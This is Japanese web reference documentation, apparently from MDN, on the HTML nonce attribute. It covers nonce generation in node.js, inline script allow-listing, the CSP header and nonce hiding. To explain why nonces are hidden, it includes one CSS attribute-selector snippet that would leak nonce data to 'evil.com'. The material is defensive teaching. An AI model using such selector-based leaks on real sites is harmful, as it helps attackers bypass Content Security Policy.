HTML nonce グローバル属性

解説

nonce 属性は、特定の要素、例えば特定のインラインスクリプトやスタイル要素を許可リスト化するのに有益なものです。 CSP の unsafe-inline ディレクティブの使用を避けることができ、すべてのインラインスクリプトまたはスタイルを許可リスト化することができます。

<script> 要素を許可リスト化するためにノンスを使用

ノンス機構を使用したインラインスクリプトを許可するためには、いくつかの手順があります。

値の生成

ウェブサーバーから、暗号的に安全な乱数発生器を用いて、少なくとも 128 ビットのデータをランダムに Base64 エンコードした文字列を生成します。ノンスはページを読み込むたびに違った形で生成する必要があります（ノンスは 1 回だけ）。例えば node.js で、次のように行います。

import crypto from "node:crypto";

crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

インラインスクリプトの許可リスト化

バックエンドのコードで生成されたノンスは、これで許可リストにしたいインラインスクリプトに使用されます。

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

ノンス付きの CSP ヘッダーの送信

最後に、ノンスの値を Content-Security-Policy ヘッダーで送る必要があります（nonce- を前に付ける）。

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

ノンスへのアクセスとノンスの隠蔽

セキュリティ上の理由から、コンテンツ属性 nonce は隠蔽されます（空文字列が返されます）。

script.getAttribute("nonce"); // 空文字列を返す

nonce プロパティは、ノンスにアクセスするための唯一の方法です。

script.nonce; // ノンスの値を返す

ノンスの隠蔽は、このようにコンテンツ属性からデータを取得するメカニズムによって、攻撃者がノンスデータを流出させることを防ぐのに役立ちます。

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

仕様書

ブラウザーの互換性

関連情報

• HTMLElement.nonce
• コンテンツセキュリティポリシー
• CSP: script-src